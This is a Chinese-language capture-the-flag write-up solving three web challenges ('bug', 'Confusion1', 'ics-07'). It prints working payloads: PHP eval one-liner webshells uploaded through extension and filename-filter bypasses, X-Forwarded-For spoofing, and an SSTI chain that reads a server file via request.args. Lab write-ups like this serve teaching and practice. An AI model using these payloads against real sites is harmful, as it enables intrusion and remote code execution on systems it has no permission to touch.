bug、Confusion1、ics-07、

bug

打开题目,发现是个登陆页面,有注册、找回密码选项

随便注册一个,进行登录,登录成功后,点击管理发现没权限

应该要越权,去密码

发现没有用户的参数,没法在这改admin的密码,去开始页面试试

先修改自己密码,进去后使用bp抓包

发现有用户参数,直接修改admin的密码

修改成功,尝试登陆

成功登陆admin用户,直接去看Message

发现IP不正确,那就伪造IP

x-forwarded-for:127.0.0.1

没发现,Flag,查看源码

注释暴露了一个功能模块的访问路径index.php?module=filemanage&do=???

猜测xss,sql,ssrf,upload

不是xss,发现是index.php?module=filemanage&do=upload

那就试试各种绕过方式,可以参考我的这篇文章:upload靶场通关

最后尝试:

改后缀为php5

文件类型为image/jpeg

文件内的一句话木马为

html 复制代码
<script language="php"> @eval$_POST['cmd']); </script>

成功了

获得flag:cyberpeace{a3828e2e57cddd4e5f7fce0ec2fd0359}

Confusion1

题目描述:某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)

那就每个页面都访问一便,发现除了Home页面,Login,Register都是会报错的,那就查看报错页面的源代码

发现flag的存放地址:/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt

还有一个Salt文件:/opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt

测试是否存在SSTI

html 复制代码
{{6*7}}

使用{{''.class}}查看一下返回结果

应该是有字符被过滤了

尝试subclass

html 复制代码
{{''.__subclass__}}

尝试mro

html 复制代码
{{''.__mro__}}

发现都被过滤了

尝试request

html 复制代码
{{''.__request__}}

request没有被过滤

将class等被过滤的字符串设置成参数,传递给request.args,获取class,使用

html 复制代码
{{""[request.args.a]}}?a=__class__

显示正常,关键字没有被过滤,那么我们现在需要读取件

html 复制代码
/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt
html 复制代码
{{""[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

获得flag:cyberpeace{2b0d7b3015a23d99599cc3b2c37f8827}

ics-07

打开题目,一个一个尝试,发现只有项目管理页面有反应,点击view-source发现源码,有3段php代码

第一段:

php 复制代码
<?php
// 启动会话,初始化session功能,用于后续可能的会话数据操作
session_start();

// 检查GET请求中是否存在page参数,如果不存在则执行以下逻辑
if (!isset($_GET['page'])) {
    // 显示当前PHP文件的源代码(用于调试或代码展示)
    show_source(__FILE__);
    // 终止脚本执行,防止后续代码运行
    die();
}

// 检查GET请求中存在page参数,并且page参数的值不等于'index.php'
if (isset($_GET['page']) && $_GET['page'] != 'index.php') {
    // 包含并执行flag.php文件(通常该文件包含flag相关内容)
    include('flag.php');
} else {
    // 如果page参数值等于'index.php',则重定向到?page=flag.php地址
    header('Location: ?page=flag.php');
}
?>

第一段是个简单的重定向,get参数page不为index.php即可

第二段:

php 复制代码
<?php
// 检查session中的admin值是否为真,验证是否为管理员身份
if ($_SESSION['admin']) {
    // 获取POST请求中的con参数(预计是要写入文件的内容)
    $con = $_POST['con'];
    // 获取POST请求中的file参数(预计是要创建的文件名)
    $file = $_POST['file'];
    // 拼接文件存储路径,将文件放在backup目录下
    $filename = "backup/".$file;

    // 使用正则表达式匹配危险的文件扩展名(如php、php3、pht、html等),忽略大小写
    // 防止上传/创建PHP等可执行脚本文件,避免代码执行漏洞
    if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
        // 匹配到危险扩展名则终止脚本并输出错误信息
        die("Bad file extension");
    }else{
        // 切换当前工作目录到uploaded目录
        chdir('uploaded');
        // 以写入模式打开(创建)指定的文件
        $f = fopen($filename, 'w');
        // 将POST获取的内容写入文件
        fwrite($f, $con);
        // 关闭文件句柄,释放资源
        fclose($f);
    }
}
?>

需要得到一个admin的session,之后可以post传入con与file两个参数,这里对文件名进行了过滤,防止后缀名是php等后缀名的文件。上传成功后,会切换到uploaded目录,创建文件,并将con的内容写入,那么实际文件的路径就是:uploaded/backup/xxx.xxx

php 复制代码
<?php

// 检查GET参数id是否存在,同时满足三个条件:
// 1. floatval转换后的id值不全等于字符串'1'(实际是数值比较的坑,floatval返回数值,与字符串'1'用!==比较永远为true)

// 2. id的最后一个字符是'9'
if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && substr($_GET['id'], -1) === '9') {

    // 包含数据库配置文件(通常包含数据库连接信息)
    include 'config.php';

    // 对GET参数id进行MySQL转义,防止简单的SQL注入(但mysql_real_escape_string依赖已连接的数据库,且该函数已废弃)
    $id = mysql_real_escape_string($_GET['id']);

    // 构造SQL查询语句,从cetc007库的user表中查询指定id的用户
    $sql = "select * from cetc007.user where id='$id'";

    // 执行SQL查询
    $result = mysql_query($sql);

    // 将查询结果转换为对象
    $result = mysql_fetch_object($result);
} else {
    // 不满足条件则将$result设为False并终止脚本
    $result = False;
    die();
}

// 如果查询结果为空,输出错误信息并终止脚本
if (!$result) die("<br >something wae wrong ! <br>");

// 如果查询结果存在
if ($result) {
    // 输出查询到的用户id
    echo "id: " . $result->id . "</br>";

    // 输出查询到的用户名
    echo "name:" . $result->user . "</br>";
    // 将session中的admin值设为True,标记为管理员身份
    $_SESSION['admin'] = True;
}
?>

代码首先对GET参数id做了三个前置校验:

1.isset($_GET['id']):确保id参数存在;

2.floatval($_GET['id'])!=='1':存在逻辑坑:floatval()返回的是浮点型数值,而'1'是字符串,使用严格不等于!==比较时,因类型不同,该条件永远为真;

3.substr($_GET['id'],-1)==='9':要求id的开头是1,结尾是9。

写一个payload获取id为1的数据

?page=flag.php&id=1a9

构造Post的payload

php 复制代码
file= p.php/.&con=<?php @eval($_POST['cmd'])?>

查看是否上传成功

上传成功,使用蚁剑连接

那就去找flag

在/var/www/html/flag.php里发现flag:cyberpeace{7353d6594665974a652c64e2ba450dd2}

相关推荐
呆萌小新@渊洁7 小时前
Linux离线环境安装ffmpeg
linux·ffmpeg·php
pandarking7 小时前
[CTF]攻防世界:love_math
android·web安全·网络安全
小痞同学7 小时前
【网络安全】二、常用网络安全管理工具
安全·web安全·网络安全
渡我白衣7 小时前
计算机组成原理(5):计算机的性能指标
服务器·网络·c++·人工智能·网络协议·tcp/ip·网络安全
云计算练习生7 小时前
渗透测试行业术语扫盲(第十篇)—— 利用与提权类术语
网络安全·信息安全·提权·漏洞利用·渗透测试术语
WordPress学习笔记8 小时前
什么是functions.php文件?
开发语言·php·wordpress
云和数据.ChenGuang8 小时前
运维工程师技术之nginx搭配php
运维·nginx·php·运维技术·数据库运维工程师·运维教程
小痞同学8 小时前
【网络安全】一、虚拟局域网设置和应用
网络·安全·web安全·网络安全
BingoGo8 小时前
PHP 8.5 垃圾回收改进
后端·php